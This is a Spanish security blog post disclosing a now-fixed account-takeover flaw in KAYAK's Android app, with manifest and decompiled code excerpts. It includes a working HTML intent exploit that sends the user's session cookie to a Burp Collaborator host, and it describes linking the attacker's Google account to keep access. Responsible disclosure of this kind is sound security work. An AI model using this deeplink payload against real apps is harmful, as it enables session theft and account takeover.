Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

Toma de control de cuenta en KAYAK: ¿la propia aplicación me está entregando la cookie?

cover-account-takeover-kayak
Carlos Bello

Investigador de seguridad

4 min

Mientras investigaba vulnerabilidades zero-day en aplicaciones móviles, descubrí que es posible robar la cookie de sesión de un usuario mediante un deeplink malicioso en KAYAK v161.1. A continuación, explico esta vulnerabilidad en detalle: dónde se encuentra en el código y qué pasos hay que seguir para replicar el exploit.

¿Dónde está esta vulnerabilidad?

Encontré la siguiente actividad exportada en el archivo AndroidManifest.xml:

<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>

Esto significa que cualquier aplicación instalada en un dispositivo móvil con esa versión vulnerable de KAYAK puede interactuar con esta actividad. Además, esta actividad se puede invocar desde un deeplink y acepta intents implícitos.

External Auth Login Activity

Al notar esto, fui de inmediato a la actividad exportada para ver qué hacía y cómo lo hacía. Mientras analizaba y leía el código fuente, encontré dos funciones muy llamativas:

 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }

Dado que la actividad está exportada, una página web maliciosa mediante un deeplink, o una aplicación móvil maliciosa mediante un intent, podría configurar una RedirectUrl maliciosa usando la función getRedirectUrl. Bien, pero para que esto tenga impacto, necesitamos ver qué podemos hacer con este comportamiento.

Ahí es donde entra el método launchCustomTabs, que, como vemos, concatena un parámetro GET a la URL. Ese parámetro GET es la cookie de sesión del usuario de la aplicación móvil:

public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";

Con esto en mente, no dudé en iniciar sesión en la aplicación web y borrar todas las cookies para terminar con una solicitud como la siguiente:





Subí el exploit a un servidor malicioso:

<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>

Luego lo abrí desde la aplicación móvil. Al revisar los registros del servidor malicioso, vi cómo se filtró la cookie de sesión de mi cuenta. Así que la copié y la puse en la solicitud que mostré arriba:





POC de toma de control de cuenta

A continuación, un video que demuestra la explotación de esta vulnerabilidad:

Problemas y más problemas: vinculación de cuentas

He descubierto que, una vez que robo la cookie de la víctima e inicio sesión en la aplicación web con ella, puedo ver los datos de la víctima sin ningún problema. Sin embargo, por alguna extraña razón, no puedo editarlos. Por eso, al investigar la aplicación web, me di cuenta de que un atacante podría obtener acceso total a la cuenta —y luego ver, editar, eliminar información, etc.— con tan solo vincular una cuenta de Google (o cualquier otro proveedor disponible).

En este caso, vinculé una cuenta de Google correspondiente al atacante con la cuenta de la víctima. El objetivo era que el atacante solo tuviera que iniciar sesión en la aplicación desde su cuenta de Google para obtener acceso a la cuenta de la víctima.

Con esto basta. Un atacante remoto y no autenticado puede robar la cuenta de cualquier víctima que tenga la sesión iniciada en la aplicación móvil de KAYAK para Android con un ataque de un solo clic.

Cronología

12 de agosto de 2022

  • Vulnerabilidad reportada: control de acceso indebido (CVSS: 9.3; crítico).

  • Vulnerabilidad triada.

13 de agosto de 2022

  • Vulnerabilidad remediada.

  • KAYAK v161.2 (10048) disponible en Play Store.

Empieza ya con el PTaaS de Fluid Attacks

Etiquetas:

vulnerabilidad

hacking

exploit

software

codigo

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Reduce el riesgo sin retrasar tus entregas

Reduce el riesgo sin retrasar tus entregas

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Prevén

Prevén

Prevén

Detecta

Detecta

Detecta

Gestiona

Gestiona

Gestiona

Remedia

Remedia

Remedia